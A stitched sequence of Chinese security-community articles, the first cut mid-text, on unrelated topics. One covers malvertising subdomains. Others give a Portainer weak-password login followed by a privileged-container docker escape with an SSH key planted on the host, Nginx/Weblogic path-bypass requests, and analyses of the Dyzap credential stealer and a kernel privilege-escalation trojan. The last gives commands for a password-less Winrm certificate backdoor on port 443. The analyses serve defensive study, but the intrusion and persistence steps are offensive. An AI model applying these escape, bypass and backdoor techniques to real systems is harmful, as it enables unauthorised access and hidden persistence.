因为这类攻击行为针对的是英国的网站和用户,所以我们也在寻找是否有其他的商业网站也受到了这类攻击行为的影响。结果,我们的确发现了很多攻击者目前正在利用这种攻击方法来对他人进行攻击。
大家可以看到下图所显示的流氓网站界面,网站界面中的合法品牌图标和网站整体的配色方案全部都是由攻击者从其他的商业网站中窃取来的,而这些网站的所有者对此却毫不知情。
网站子域名列表:
l ads.thompsons-online.co.uk
l banners.cleanearclinic.co.uk
l st.pickabook.co.uk
l front.major4agents.co.uk
l pix.majortravel.co.uk
l promo.tv-ark.org.uk
正如我们在文中所提到的那样,能够确定某一网站是否为合法网站的唯一方法就是查询该网站的域名信息,然后对比一下该网站主域名和子域名之间到底有何差异。
还需要注意的是,现在有很多流氓网站(子域名)使用了免费的SSL证书,但是其子域名所对应的主域名却并没有使用这种证书。
也许,能够证明网站合法性的最好方法就是检测其网站代码中是否包含恶意代码了,虽然想要在现实生活中做到这一点是非常困难的。
英国境内的恶意广告活动规模非常的庞大,目前只排在美国的后面。而且我们还发现,攻击者在针对加拿大、澳大利亚以及法国等国家进行攻击时,也采用了类似的操作手法。攻击者会使用伪造的合法品牌商标来对网站进行伪装,而隐藏在这些网站中的广告数量简直多得惊人。
为此,我们设法与其中一家品牌商标被攻击者窃取了的公司取得了联系。当我们问到他们是否清楚自己的广告商标被某个子域名网站滥用时,他们表示对此毫不知情。但是,该公司在了解到这一事件之后,便立刻与他们的网站服务托管商展开了交涉,并试图找到这一问题的根源所在。
Malwarebytes:我认为,这个子域名应该不是你主网站的合法子域名吧?而且我们也已经发现,现在有大量的流氓广告网站会利用这种子域名来传播其恶意广告。
网站所有者:谢谢你们的提醒。我们已经在与网站托管服务提供商就此违法事件进行交涉了。但是我想问的是,你们是如何发现这件事情的呢?顺便提一下,我们公司一直都在使用你们的安全防护软件,它们真的非常的棒!
实际上,这类攻击只是一种警示。我们应该意识到,攻击现在有很多很多的方法来入侵或者利用一个网站,但是想要防范此类事件的发生却是非常困难的。 | 社区文章 |
# docker 利用特权模式逃逸并拿下主机
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在溯源反制过程中，会经常遇到一些有趣的玩法，这里给大家分享一种docker在特权模式下逃逸，并拿下主机权限的玩法。
## 前言
在一次溯源反制过程中，发现了一个主机，经过资产收集之后，发现有如下几个资产。
其中9000是一个Web服务，于是我访问查看了一下。
发现其为Portainer后台，且存在弱口令登录。
一般看到这种登录页面，习惯性的输入admin/admin,admin/password,admin/123456。 然后就试出来一个进去了。
## Portainer
Portainer是Docker的图形化管理工具，提供状态显示面板、应用模板快速部署、容器镜像网络数据卷的基本操作(包括上传下载镜像，创建容器等操作)、事件日志显示、容器控制台操作、Swarm集群和服务等集中管理和操作、登录用户管理和控制等功能。功能十分全面，基本能满足中小型单位对容器管理的全部需求。
这是我在溯源过程中第一次碰到这个后台，我简单浏览了一下
打开后台就是这样
这里有很多创建好的docker容器。还可以自定义下载镜像，并构建容器
## 利用
我想到如果在docker容器启动中加上—privileged参数即特权模式，就可以磁盘挂载利用了。进行挂载后，可以进行对本地宿主机的文件替换比如写入公钥getshell，
想到这一点，我点击新建容器。选择了nignx:latest 镜像
**注意, 开启特权模式一定要勾选下面的选项**
将此选项勾选之后，就会开启特权模式了。
创建好容器之后，点击这里，进入容器控制台。
现在我们需要挂载磁盘到容器的目录上。这一点和容器数据卷设置不同，这一步是真实的挂载磁盘。
通过df -h 命令查看磁盘，新建文件夹/abcd，然后将宿主机的文件系统挂载到docker容器中的/abcd 目录。
然后/abcd目录就是宿主机的真实主机文件了，我们正常在root下写入公钥文件。
最后可以直接用ssh登录链接了
## 总结
这篇是我在溯源反制中真实遇到的一个情况，举一反三，如果是自己部署docker环境的话，切记不要使用特权模式！ | 社区文章 |
文章来源：<https://www.acunetix.com/blog/articles/a-fresh-look-on-reverse-proxy-related-attacks>
* * *
## 前言
近年来，很多安全研究人员研究攻击的文章中都或多或少涉及到反向代理。在扫描工具能实现检测反向代理种类时，我开始深入研究反向代理的具体实现流程。
最初，我想完全分析代理服务器和Web服务器是如何解析请求，找出一些差异以便将来用于绕过某些限制（开展XSS攻击等）。不幸的是它们有太多的组合了，我不得不专注研究Web服务器和应用服务器。举个例子，当脚本语言（PHP）发生变化时，Apache
Web服务器的解析准则也会改变。此外，Web应用所使用的框架，[Middleware](https://zh.wikipedia.org/zh-hans/%E4%B8%AD%E9%97%B4%E4%BB%B6)同样会影响解析。最后，我意识到几乎没人知道如何利用它去攻击。
这项研究的目的是探索反向代理服务及其后端服务器潜在的新攻击向量。在本文的主要部分，我将展示一些易受攻击的配置和利用各种反向代理攻击的例子。研究的第二个目标是分享关于[多种情形下反向代理](https://github.com/GrrrDog/weird_proxies/wiki)的原始数据，抛砖引玉，方便研究者找到自己的攻击方式（每种特定的情形下取决于后端服务器）。
## 流程
反向代理的基础思想很简单：作为用户和后端服务器的中间代理服务器。用途多种多样：代替用户请求无法触及的后端内容；“防御”一些攻击；便于分析网络流量等。实现反向代理的方法有很多方法，但流程大致相同。
**处理请求-- >调整请求-->发送至后端**
### 处理请求：
1、 **解析** ：获取请求方式，路径，HTTP类型，Headers，内容。
GET /path HTTP/1.1
Host: example.com
Header: something
看起来很容易，深入研究会发现一些问题。举几个的例子：
* 如果反向代理服务器支持 **Absolute-URI** ， Absolute-URI可能会优先Host header处理？
GET http://other_host_header/path HTTP/1.1
Host: example.com
* URL由 `scheme:[//authority]path[?query][#fragment]` 组成，浏览器通常不发送#fragment到服务器。如果发送，反向代理服务器会如何处理`#fragment`？
Nginx不处理`#fragment`，Apache返回400错误（由于#存在于路径中），其他的把它作为通常的符号处理。
* 如何处理必须被URL编码的特殊内容？
GET /index.php[0x01].jsp HTTP/1.1
2、 **URL解码** ：标准规定 **URL**
中的特殊字符必须进行URL编码(`%-encoding`)，比如`"`和`>`。实际上，路径部分的所有字符都可以URL编码后再发送给服务器。大部分Web服务器处理URL请求时会解码它，包括目标服务器。
GET /index.php HTTP/1.1
GET %2f%69%6e%64%65%78%2e%70%68%70 HTTP/1.1
3、 **规范化处理路径** ：大多数Web服务器处理路径有自己的规则，举个例子：
/long/../path/here -> /path/here
/long/./path/here -> /long/path/here
* 如何处理`/..`？，对于Apache，它等于`/../`，然而对于Nginx又不一样。
/long/path/here/.. -> /long/path/ - Apache
/long/path/here/.. -> /long/path/here/.. - Nginx
* 类似的问题，`//`（空目录）是什么情况？Nginx把它转化为单一`/`，但是，如果不在首位Apche会把它作为真实目录。
//long//path//here -> /long/path/here - Nginx
//long/path/here -> /long/path/here - Apache
/long//path/here -> /long//path/here - Apache
* 有些Web servers支持一些额外（奇怪）的功能。举个例子：Tomcat和Jetty允许路径中存在特殊参数(`/..;/`)和利用反斜杠目录遍历(`\..\`)。
### 调整请求
在处理完请求后，反向代理服务器会根据特定规则修改请求。需要注意的一点，在许多情况下，反向代理的规则是基于路径。`pathA`触发某个规则，`pathB`触发另一个。
根据触发的规则和特定配置，反向代理服务器基于已处理路径（解析，URL解码，规范化）或不处理（极少数情况）对请求做出调整。对于研究者来说，注意大小写问题也很重要。下面这个例子，对于反向代理服务器也能够相等？
`/path1/ == /Path1/ == /p%61th1/ == /lala/../path1/`
### 转发至后端
反向代理应用适当的规则调整了请求。现在，它必须把请求转发给后端服务器。代理服务器会发送已处理请求还是原始请求？很明显，如果代理服务器已经修改了请求，那么它会发送修改后的，但是，它会执行上述必要的步骤（解析特殊字符等）。如果反向代理服务器只是将用户请求转发给后端，那么不做任何修改是更好的主意？
正如你所见，反向代理的流程单一，步骤简单明了。但是真正实施起来有很大变化，作为攻击方的我们可以利用这一点。
所以，本文描述的攻击要点是反向代理处理请求，做出调整并将其转发到后端。如果我们发现反向代理服务器处理请求的方式与后端服务器处理请求的方式不一样，那么我们可以使用精心构造的路径来攻击后端服务器。我们将使用反向代理服务器的某些默认规则来绕过保护。
## 攻击研究
### Nginx
Nginx是一款知名的Web Server，也很多人用它做反向代理。Nginx支持任意协议的`Absolute-URI`且优先级高于Host
Header。Nginx对请求中路径做解析，URL解码，规范化处理。它
Nginx有两种有趣的设置方法。
1. 结尾处存在`/`
location / {
proxy_pass http://backend_server/;
}
在这种情况下，Nginx转发经过处理的所有请求到后端服务器。请求经过阶段一URL解码分析后，Nginx需要再次进行URL编码，再转发到后端。令攻击者兴奋的是Nginx不会像浏览器那样编码的所有字符，例如
`' " < >`。
即使Web应用（后端服务器）易受XSS攻击（从请求路径的参数中直接读取内容），攻击者也无法利用它。因为现代浏览器（除了IE）会对特殊字符进行URL编码。如果这里有个Nginx用作反向代理服务，攻击者发送一个经浏览器URL编码的XSS
Payload。Nginx把Payload解码分析处理后，再次编码（由于特性，一些危险字符没有编码），然后转发到后端，这就可能造成XSS攻击。
Browser -> http://victim.com/path/%3C%22xss_here%22%3E/ -> Nginx -> http://backend_server/path/<"xss_here">/ -> WebApp
2 . 结尾处不存在`/`
location / {
proxy_pass http://backend_server;
}
可以看到，这里少了个斜杠。看起来无关紧要，但是它能使得Nginx代理服务直接转发用户原始请求到后端。如果你发送`/any_path/../to_%61pp#/path2`，Nginx会先判断是否有规则再决定是否解码为`/to_app`，最终它还是发送`/any_path/../to_%61pp#/path2`给后端。类似的改变有助于我们找到差异。
### 服务端攻击
#### 绕过限制
攻击反向代理最常见的用途。
当想要触及某些受限内容时，攻击者们需要绕过限制。
举个例子：
Nginx作为反向代理服务器，Weblogic作为后端服务器。Nginx阻止用户访问Weblogic管理面板(/console/)。
配置如下
location /console/ {
deny all;return 403;
}
location / {
proxy_pass http://weblogic;
}
可以看到，`proxy_pass`后端没有斜杆`/`，所以服务器直接转发用户的原始请求。另一个可以绕过限制的要点，Weblogic把`#`作为有效成分。所以，攻击者可以构造以下请求进入Weblogic管理面板。
GET /#/../console/ HTTP/1.1
解释一下：当Nginx处理请求时，它无视了`#`后面的所有东西，这样可以绕过访问`/console/`的限制。它转发原始的`/#/../console/`给Weblogic，Weblogic根据规范处理这个路径，所以我们进入了`/console/`。
#### 请求错误路由
这里我主要讲两点：由路由到端点；在某种情况，重写路径/查询。
当反向代理只转发请求给后端某一个端点时，这给攻击者造成不能访问后端其他端点的错觉。
**例子1**
还是熟悉的组合：Nginx+Weblogic.
本例中，Nginx代理只转发请求到Wbelogic某一个特定端点(`http://weblogic/to_app`)。因此，只有请求中路径是`/to_app`时，Nginx才会转发原始给Weblogic。这种只允许访问`/to_app`的情况跟先前的禁止访问Weblogic管理面板(`/console/`)有类似之处。
location /to_app {proxy_pass http://weblogic;}
为了触及其他目录，我们必须先弄明白两件事。第一，`proxy_pass` 和先前例子一样后面没有斜杆。第二，Weblogic支持“`path
parameters`”（`https://tools.ietf.org/html/rfc3986#section-3.3`)。为了方便理解第二点，我举个例子：`/path/to/app/here;param1=val1`其中`param1`可以通过API连接web
app。
我想很多人都知道可以这样做（尤其是在[Orange大佬在BlackHat发表演讲后](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf)），Tomcat允许一些非常诡异的遍历，比如`/..;/..;/`。但是Weblogic有不同的规则，它把第一个`;`后面的所有字符视为路径参数。这些东西对攻击者是否有所帮助？
答案是肯定的。让我们来看看这个“魔术”，我们可以访问Weblogic上的任何目录。
GET /any_path_on_weblogic;/../to_app HTTP/1.1
Nginx收到上述请求，它将规范化处理路径。从`/any_path_on_weblogic;/../to_app`获取了`/to_app`，符合规则。然后转发给后端Weblogic，Weblogic把`;`后面的忽略，仅仅处理了`/any_path_on_weblogic`。所以，攻击者可以访问任何目录，并且通过增加`;`后面的`/../`
来访问内部的其他内容。
## 小结
本文介绍了反向代理服务的大致流程以及对潜在攻击向量的一些研究。在后半部分，我将分享一些其他的攻击技术。 | 社区文章 |
# 【木马分析】避开Dyzap恶意软件以确保您的帐户安全
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<http://blog.fortinet.com/2017/02/22/keep-your-account-safe-by-avoiding-dyzap-malware>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[啦咔呢](http://bobao.360.cn/member/contribute?uid=79699134)
稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**介绍**
Dyzap属于一种恶意软件，被设计来从大型目标应用程序窃取保密信息，方式是在普通浏览器安装“man in the
browser”。FortiGuard研究人员最近发现了该木马病毒的一种新变体。窃取的信息可能包括但不限于在被感染系统上存储的系统信息和应用凭证。在本博客中，我们将解释恶意软是件如何窃取用户帐户，充当键盘记录器，并与其C＆C服务器进行通信。
**窃取流程**
Dyzap的目标是从超过一百个的应用程序中窃取信息，其中包括浏览器，FTP应用程序等。
图1：主要窃取流程
为了从不同类型的应用程序窃取数据，Dyzap通过不同的方式处理它们。这使得它可以从数据库，注册表中，或者从受感染机器上应用程序安装的文件中窃取数据。图2显示了一些目标应用程序，如Fossamail，Postbox和其他。
图2：恶意软件试图窃取的应用程序的一部分
为了更好地理解Dyzap能够采用的不同方式，我们选择了四个应用程序，并分析了Dyzap如何从它们那里获得登录凭据。以下所有分析均在Windows 7
32位下进行。在其他操作系统中引用的路径可能不同。
**Chrome家族**
Dyzap的主要例程之一是从sqlite3数据库文件中窃取登录信息。例如，Chromium将登录信息存储在名为“Login Data”或“Web
Data”的文件中。使用图3所示的代码片段和硬编码文件路径，它可以尽可能搜索刚才提到的目录中所包含的文件。如果文件存在，它将内容复制到临时文件中以供进一步操作。
要获取登录信息，它首先要验证目标是SQlite3文件。接下来，它查找一个“独特的”字符串模式以从“登录”表中提取登录信息。最后，它使用字符串模式“password_value”，“username_value”和“original_url”提取用户帐户，如图4所示。
图3：Dyzap在硬编码目录中查找文件
图4：Dyzap通过硬编码字符串查找登录信息
Chrome家族中的其他浏览器重复了类似的窃取例程，这些浏览器包括： Comodo
Dragon，MapleStudio，Chrome，Nichrome，RockMelt，Spark，Chromium，Titan浏览器，Torche，Yandex，Epic隐私浏览器，CocCoc浏览器，Vivaldi，Comodo
Chromodo，Superbird ，Coowon，Mustang浏览器，360浏览器，CatalinaGroup Citrio，Chrome
SxS，Orbitum，Iridium和Opera。
**Firefox家族**
对于Firefox家族的浏览器，Dyzap搜索signons.sqlite和login.json文件来查找和窃取凭据。login.json的名称带着误导性，它实际上是一个sqlite数据库，包括所有保存的用户名和密码。这些浏览器包括Firefox，IceDragon，Safari，K-Melon，SeaMonkey，Flok，Thunderbird，BlackHawk，Postbox，Cyberfox和Pale
Moon。
**
**
**Far FTP**
除了从数据库文件窃取之外，Dyzap恶意软件还尝试从注册表中收集一些FTP应用程序的私密信息。例如，在Far
FTP中，恶意软件简单地搜索以下路径，如图5所示：
HKCU Software Far Plugins FTP Hosts
HKCU Software Far2 Plugins FTP Hosts
图5：从Far2注册表窃取
如果找到它们，Dyzap查询“Password”，“User”和“HostName”子项的值。以下表1是通过注册表寻找到的目标应用程序列表。然后恶意软件硬编码每个应用程序的注册表路径（可能包含私密信息）。
表1：恶意软件尝试从其注册表窃取的应用程序
**
**
**Pidgin**
****
Dyzap的另一个功能是从存储在受感染机器上的登录凭据文件中窃取机密信息。例如，Pidgin是一个聊天程序，它允许用户同时在多个聊天网络上登录帐户。此应用程序在"%AppData%Roaming.purpleaccounts.xml."中的一个XML文件中保存账户登录的信息。Dyzap试图在可能的目录中通过搜索来找到*
.xml文件（图6），然后将文件的副本发送到它的C＆C服务器上。
图6：找到目标文件的可能目录
下表显示恶意软件在搜索机密信息时搜索到的所有应用程序和相关文件。
表2：恶意软件尝试从其组件文件中窃取的应用程序列表
**
**
**键盘记录功能**
在其键盘记录器组件中，恶意软件创建一个新线程以捕获所有键盘输入，剪贴板数据和窗口标题，如图8所示。所有被盗信息都保存到恶意软件在临时目录创建的％RANDOM-NUMBER％.Kdb文件中。为了hook到键盘，恶意软件调用SetWindowsHookExW()来捕获键盘输入。键盘记录器的结果也将与其他被盗信息一起上传到C＆C服务器。
图8：键盘挂钩线程
图9：监视低级别键盘输入事件的挂钩过程
**C＆C通信**
在从目标应用收集数据之后，将进行被盗信息的封包。数据以串行化的二进制格式发送到C＆C服务器。封包结构包含三个主要子结构，每个结构填充如表3所示的信息块：
表3：信息块的基本结构
封包信息从硬编码标签开始。位于块1中的所有标签在图10中标示为B1。例如，数据包中的0x12和0x27显示为 x12 x00 x27
x00。随后，将硬编码字符串“PWSBin”附加到块2格式的标签（表4中的第1节）。在图10中，该部分显示为Tag1，Tag2，Type, Size和
Data。
该封包接着包含来自受感染机器所有收集的信息，分别包括用户名，计算机名称，域名以块2格式保存(窗体坐标在左上，右下)。接下来，它检查当前用户是否为admin，是否开启了用户安全标识，以及受感染的计算机是32位还是64位。然后它包含Windows主版本，次版本和产品类型，以及一个预初始化字节，四个标签在行（
x01， x00， x00， x00 ）中以块1的格式附加到数据包。
接着数据包以四个字节大小标示被盗数据—被恶意软件加密（A
*）。互斥字符串类型，大小和数据，以及恶意软件使用系统时间创建的5字节随机字符串，以块2格式被添加（B
*）。最后，被盗的加密数据及其大小以块3格式被添加（C *，D
*）。有趣的是，每个被窃取的数据部分开头是一个字节，其表示一个索引列表的索引，指示了相应应用的数据位置。
图10：HTTP请求内容发送到服务器
表4：命令和控制流量摘要
**结论**
Dyzap是一个多任务恶意软件，不限于用一种方式窃取信息。已安装应用程序的本地文件及其注册表都不安全。但Dyzap不仅从应用程序收集数据。它也很好奇并且还可以收集您的键盘输入。当前版本现在功能强大，可以从许多应用程序中窃取信息。在本博客中，我们展示了如何进行数据窃取，以及恶意软件将所有收集的数据发送到C＆C服务器之前将其转换为合适的二进制格式的过程。
**示例信息**
MD5：eaa07a6113b142e26c83132716d1ab42
SHA256：9740f47b42b04c80d9d8983725c69920581a632df74d96434b6747a53bbd5048
Fortinet检测名称：W32/Generic.RCI！tr | 社区文章 |
# 一款本地提权木马利用原理分析 可实现3环突破到0环
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
该病毒是一个可以结束大多数杀毒软件的恶意程序，病毒通过微软一个漏洞来加载驱动程序，该漏洞是内核的函数发生栈溢出导致，使得R3程序可以在0环执行任意代码，驱动加载后结束反病毒软件，并通过向Atapi发送IRP感染userinit.exe实现自启动，下载并执行其它恶意程序。
## EXE部分
病毒主体执行后会在系统目录Program
FilesMSDN目录下生成文件000000000，qwegier.exe，LHL13.sys，PciDisk.sys，在C盘根目录下生成sysLoad文件，解密自身带的一部分数据并拷贝到申请的一块内存中，然后在这里生成一个新的线程，停止PciDevice的服务，加载PciDisk.sys驱动，并打开PciDisk创建的符号链接.PciFtDisk，并通过DeviceIoControl发送两个Io控制码0x2200180和0x22001C。
## 漏洞概述
WINDOWS系统的内核函数RtlQueryRegistryValues存在栈溢出漏洞，病毒利用自己构造的一串数据写入注册表SYSTEM\CurrentControlSet\Control\TimeZoneInformation的ActiveTimeBias键值下，当设置系统时间时，内核会调用RtlQueryRegistryValues去读这个值，导致发生栈溢出，若读取的数据放在栈里面，会覆盖调用RtlQueryRegistryValues的函数的返回地址，触发漏洞。正常情况下，ActiveTimeBias是一个DWORD类型的键值，病毒执行时，会改成REG_BINARY类型，并写入自己构造的数据。
经验证，WinXP，VISTA以及Win7上都存在该漏洞。
## 构造SHELLCODE的主要线程
病毒运行时，动态解密一块数据，拷贝到申请的内存中，然后在这里创建线程，文件threaddata为DUMP出来的代码，线程入口位于A61DD0，主要任务是完成SHELLCODE调用的内核函数的动态定位，修改注册表，准备漏洞发的必要条件，启动CMD进程，把SHELLCODE拷贝到CMD进程空间中去触发漏洞，主要流程是：
1. 在系统盘Program Filesmsdn目录下生成LHL3.sys文件
2. 取得系统信息，得到ntoskrnl模块的加载地址，从磁盘上调用LoadLibraryEx从磁盘上把内核模块加载到用户空间中，取得SHELLCODE调用中用到的内核函数地址，取得相对你猜并加上内核加载的虚拟地址，这样得到当前内核模式中函数地址并放入SHELLCODE相应位置，生成病毒的SHELLCODE
3. 以“C:\windows\system32\cmd.exe /c time %.2d:%.2d:%.2d”命令行启动CMD进程，其中的时间被格式化成当前时间，在CMD进程中申请一块0x640大小的内存并把SHELLCODE拷贝进去，删除原来的ActiveTimeBias，重新写一个REG_BINARY类型，长度为14H的串，格式如下（以双字形式）：
> +0：00000000
> +4：00000000
> +8：00000000
> +C：在CMD进程中申请的地址，也就是SHELLCODE所在的地址（XP系统）
> +10：在CMD进程中申请的地址，也就是SHELLCODE所在的地址（VISTA，Win7系统）
到这里，触发漏洞的条件已经具备了，把挂起的CMD主线程恢复运行，然后等待CMD进程结束后删除ActiveTimeBias键值。
CMD进程运行之后，会设置时间，漏洞触发，其函数调用关系如下图：
## Shellcode
漏洞在CMD进程空间中被触发，
ShellCode也在CMD进程空间得到执行，文件Shellcode中是DUMP出来的代码，入口点是150000，主要工作是解析PE文件，把驱动加载到内核地址空间中，流程如下
：
1. 打开%Program Files%\MSDN\LHL13.sys ，得到大小，在分页池中申请相应大小的内存，然后把文件读进来
2. 以PE头中SizeOfImage大小申请非分布内存，重新按内存中对齐方式定位每一个节，拷贝到非分页内存中，修复导入地址表，指向内核函数地址，修复重定位表，完成驱动加载
3. 自己调用驱动入口DriverEntry，返回后释放之前申请的分页内存
4. 从漏洞触发时的一个上层函数搜索到那个没有正常返回的函数的返回地址，设置EAX=STATUS_SUCCESS，然后转到那个地址去执行。
## 漏洞触发及正常返回
在XP系统上，漏洞触发时，内核中函数调用的流程是：
NtSetSystemTime -> ExpSetSystemTime -> ExpRefreshTimeZoneInformation ->
**RtlSetActiveTimeBias** -> RtlQueryRegistryValues ->
RtlpCallQueryRegistryRoutine -> RtlpQueryRegistryDirect
在RtlSetActiveTimeBias中会调用RtlQueryRegistryValues去读注册表键值ActiveTimeBias，RtlSetActiveTimeBias函数的栈分布情况及调用RtlQueryRegistryValues的代码如下：
其中Context位于[ebp-8]，其地址被放在一个结构中传给RtlQueryRegistryValues，这个地址经过RtlpCallQueryRegistryRoutine最终被传给RtlpQueryRegistryDirect，RtlpQueryRegistryDirect函数是真正把栈中RtlSetActiveTimeBias的返回地址给覆盖的函数。
### 栈溢出
进入RtlSetActiveTimeBias时的栈分布如下：
最终有漏洞的函数把从注册表中读出的0x14个字节写入从Context开始的位置，XP系统上偏移+0C的位置正好覆盖到RtlSetActiveTimeBias的返回地址（Vista系统上Context在[ebp-0c]的位置，所以写到注册表中的Shellcode的地址为偏移+10）。
返回地址被覆盖时的栈如图：
此时RtlSetActiveTimeBias的返回地址已经被覆盖，值为在CMD进程中的SHELLCODE的地址150000。
### 执行SHELLCODE后安全返回
先列出调用关系：
NtSetSystemTime -> ExpSetSystemTime -> ExpRefreshTimeZoneInformation ->
**RtlSetActiveTimeBias** -> RtlQueryRegistryValues ->
RtlpCallQueryRegistryRoutine -> RtlpQueryRegistryDirect
RtlSetActiveTimeBias返回时，就回到病毒的SHELLCODE中，此时的ESP指向上图中最上边的那个位置，EBP =
0，RtlSetActiveTimeBias的返回地址由于已经被覆盖，所以只能通过ESP得到RtlSetActiveTimeBias的上层函数ExpRefreshTimeZoneInformation的返回地址，这个地址在函数ExpSetSystemTime中，取出这个地址，它的前四字节就是调用的相对偏移量，加上本身的地址，又得到函数ExpRefreshTimeZoneInformation的地址，在从这个地址搜索得到RtlSetActiveTimeBias原来的返回时的地址，设置返回值EAX为成功，然后转到这里去执行，如图：
第8行中的add ebp,
0FCh，FC是ExpRefreshTimeZoneInformation局部变量的大小加上在栈中保存的三个寄存器所占的空间，现在EBP指向的是ExpRefreshTimeZoneInformation函数的栈帧。
取出[ebp+4]是ExpRefreshTimeZoneInformation的返回地址，在函数ExpSetSystemTime中，函数find_return_addr如下图：
从ExpSetSystemTime函数中调用ExpRefreshTimeZoneInformation函数的地方，加上相对调用的偏移，也就是图中add
ecx,
[eax-4]，取得函数ExpRefreshTimeZoneInformation的地址，然后在里面暴搜RtlSetActiveTimeBias正常情况下的返回地址。
然后由上页图中的push eax; ret转过去，此时这次的调用返回正常的执行流程。
## PciDisk.sys
PciDisk驱动主要通过向atapi.sys驱动程序发送IRP来感染userinit.exe文件。
驱动入口处创建一个设备DevicePciFtDisk和一个符号链接DosDevicesPciFtDisk。
从磁盘打开atapi.sys文件，并从INIT节搜索到IRP_MJ_DEVICE_CONTROL和IRP_MJ_SCSI处理例程的地址。
从系统目录打开文件userinit.exe并读入数据，由FileHandle得到FileObject，进一步通过FileObject与与之关联的Vpb得到文件系统所创建的卷设备对象，就是userinit.exe文件所在的卷设备对象，然后构造一个主功能号为IRP_MJ_FILE_SYSTEM_CONTROL的IRP，IoControlCode为FSCTL_GET_RETRIEVAL_POINTERS，发往文件系统的卷设备对象，如下图：
等IRP完成后，得到文件userinit.exe的VCN和LCN对应关系表。
然后取得atapi驱动类型为FILE_DISK类型的设备，得到DR0设备对象。
当驱动收到应用层发过来的DeviceIoControl请求时，会把传入的数据通过写入磁盘，完成对文件的Hook操作，这里主要是自己构造SRB请求包，向Atapi发送IRP_MJ_SCSI类型的IRP实现的。
如图：
别处，代码中还有对atapi.sys分发例程的挂钩恢复操作以及反调试代码，若发现在存在ntice.sys和syser.sys驱动，会向当前线程ETHREAD写入一块垃圾数据。
## LHL3.sys
该驱动主要实现SSDT的恢复，杀掉大部分的安全软件。
驱动入口取得内核模块的基址和大小，并暴搜找到函数PspTerminateThreadByPointer的地址。
若搜不到，则从寻出表找到PsTerminateSystemThread函数的地址，并从该地址向后搜索取到PspTerminateThreadByPointer的地址，然后恢复该函数的前8个字节，然后通过ZwQuerySystemInformation遍历系统中的进程表，并杀掉病毒中定义的进程，包括：
这里杀进程的主要流程是：通过枚举得到的进程ID，得到进程对象EPROCESS，对进程对象中的链表头ThreadListHead遍历找到的每一个线程调用PspTerminateThreadByPointer。
然后分两种情况对SSDT进行恢复：
若系统中不存在江民软件，取出系统中SSDT表的位置，换算并取到在磁盘文件中的偏移，从磁盘文件中读取原始的SSDT数据后进行重定位并恢复。
若系统中存在江民软件，先读取原始SSDT数据，同上步，然后申请两块内存，先把当前正在使用的SSDT表拷贝过去，把原始SSDT也拷贝到紧后面，参数个数表同理，然后给SSDT结构赋值指向新的函数地址表和个数表，并把函数个数乘以2放入Count。
这样构造的SSDT，原来的函数地址（Hook的或是没Hook的）没有改变，而后半部分新加入的都是被恢复的函数地址。
然后病毒通过wrmsr改变MSR的IA32_SYSENTER_EIP，指向自己的代码，在这段代码中，把系统服务调用号加中原来的SSDT函数数量放入EAX后就调用原来的系统服务入口。这样，系统服务函数的地址就被重定向到了SSDT的后半部分。
最后，病毒开一个系统线程，循环调用杀进程的函数来结束杀软。 | 社区文章 |
**作者：360漏洞研究院 cldog，freexploit
原文链接：<https://vul.360.net/archives/95>**
>
> **本文主要介绍基于证书认证的无密码Winrm后门认证实现。无密码认证的特性，决定了其在隐蔽维持方面的天然优势，研究员在测试中甚至发现即使证书申请账户的密码被修改、账户被禁用、锁定等其他恶劣对抗环境，在一定较长时间内仍然可以通过之前生成的旧证书私钥与目标建立认证；同时结合Winrm的443端口复用Listener，可实现内网环境对公网NAT开放的网站系统如Exchange、Sharepoint等进行隐蔽的权限维持。**
## 0x01. 基本原理介绍
WinRM全称是Windows Remote
Management，是微软服务器硬件管理功能的一部分，能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统，获得一个类似Telnet的交互式命令行shell，而底层通讯协议使用的是HTTP。
在Windows 的远程管理服务WinRM的基础上，使用拥有客户端身份认证 EKU
的证书，配合HTTP.sys驱动的端口复用，即可实现无密码的Winrm证书认证后门。
## 0x02.原有的Winrm后门技术实现及思考
基于用户名/密码认证的Winrm后门技术已成为经典手法，同时配合HTTP.sys驱动所实现的端口复用功能也被公众熟知。整体来看，当前针对Winrm后门，给出的技术方案基本包括以下几点：
1、基础的用户名/密码认证后门；
2、结合HTTP.sys驱动的端口复用后门；
3、由用户名/密码认证所延伸出的用户名/哈希认证后门；
4、解决Winrm UAC的后门辅助技巧。
现有的Winrm解决方案从根本上来说都是以用户名/密码或者HASH为根基，其缺点也较为明显，一旦用户密码修改即可使得winrm认证失效。针对该问题，研究员通过查阅Microsoft
TECHNET发现Winrm还支持证书认证，测试了可以通过配置证书认证的方式实现无需密码认证的Winrm解决方案。
该方案整体利用思路如下：
1、服务端启用443复用Listener或传统https Listener,且开启证书认证；
2、服务端配置证书认证；
3、客户端利用证书登录；
4、完美后门验证。
接下来将逐一进行介绍，介绍过程中将以443复用Listener后门为例，传统https Listener后门配置基本相同，这里不再介绍。
## 0x03. 启用服务器Listener与Cerification Auth
以下所有配置过程基于以下场景：
* 目标服务器IP为：192.168.60.200
* 已经获得该机器上administrator权限
* 该主机已经配置IIS服务，具备https站点 对外开放443端口
默认情况下，在Windows 2012以上的服务器操作系统中，WinRM服务默认启动并监听了5985端口，可以省略这一步。对于Windows
2008来说，需要使用命令来启动WinRM服务，快速配置和启动的命令是winrm quickconfig
-q，这条命令运行后会自动添加防火墙例外规则，放行5985端口。
（1）可通过以下命令查看当前Listener，如图一：
winrm e winrm/config/listener
图一
可见，默认只有5985端口的HTTP Listener，Winrm服务并不会创建443兼容Listener。
（2）可通过以下命令创建443兼容Listener，如图二：
winrm set winrm/config/service '@{EnableCompatibilityHttpsListener="true"}'
图二
发现已经成功启用443端口兼容Listener。
（3）默认情况下，Winrm服务端同样不会启用Certification Auth认证方式。使用如下命令查看当前启用的认证方式 ，如图三：
winrm get winrm/config/service/auth
图三
发现目前尚未启用Certification Auth。
（4）可通过以下命令启用Certification Auth认证方式 ，如图四：
Set-Item -Path WSMan:\localhost\Service\Auth\Certificate -Value $true
图四
## 0x04. 配置证书认证
